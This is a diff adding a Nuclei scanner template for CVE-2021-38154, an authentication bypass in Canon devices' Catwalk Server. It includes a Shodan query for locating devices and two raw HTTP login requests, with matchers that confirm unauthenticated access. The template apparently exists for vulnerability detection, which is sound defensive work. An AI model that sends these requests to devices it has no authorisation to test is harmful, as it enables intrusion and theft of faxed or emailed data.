Add CVE-2021-38154 (vKEV)

http/cves/2021/CVE-2021-38154.yaml

@@ -0,0 +1,61 @@
+id: CVE-2021-38154
+
+info:
+  name: Canon Devices - Authentication Bypass in Catwalk Server
+  author: daffainfo
+  severity: high
+  description: |
+    Certain Canon devices manufactured in 2012 through 2020 (such as imageRUNNER ADVANCE iR-ADV C5250), when Catwalk Server is enabled for HTTP access, allow remote attackers to modify an e-mail address setting, and thus cause the device to send sensitive information through e-mail to the attacker. For example, an incoming FAX may be sent through e-mail to the attacker. This occurs when a PIN is not required for General User Mode, as exploited in the wild in August 2021.
+  reference:
+    - https://protocolpolice.nl/CVE-2021-38154_Protocol_Police_Catwalk_Alert
+    - https://www.usa.canon.com/internet/portal/us/home/support/product-advisories
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-38154
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2021-38154
+    cwe-id: CWE-732
+    epss-score: 0.00699
+    epss-percentile: 0.70958
+    cpe: cpe:2.3:h:canon:-:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: canon
+    shodan-query: title:"imageRUNNER"
+  tags: cve,cve2021,canon,auth-bypass,vkev
+
+flow: http(1) || http(2)
+
+http:
+  - raw:
+      - |
+        POST /tryLogin.cgi HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        loginM=&0000=0011&0002=
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 303'
+          - 'contains(location, "/portal_top.html")'
+          - 'contains(set_cookie, "fusion-http-session-id=")'
+        condition: and
+
+  - raw:
+      - |
+        POST /checkLogin.cgi HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        i0017=2&i0019=
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 302'
+          - 'contains(location, "/portal_top.html")'
+          - 'contains(set_cookie, "sessid=")'
+        condition: and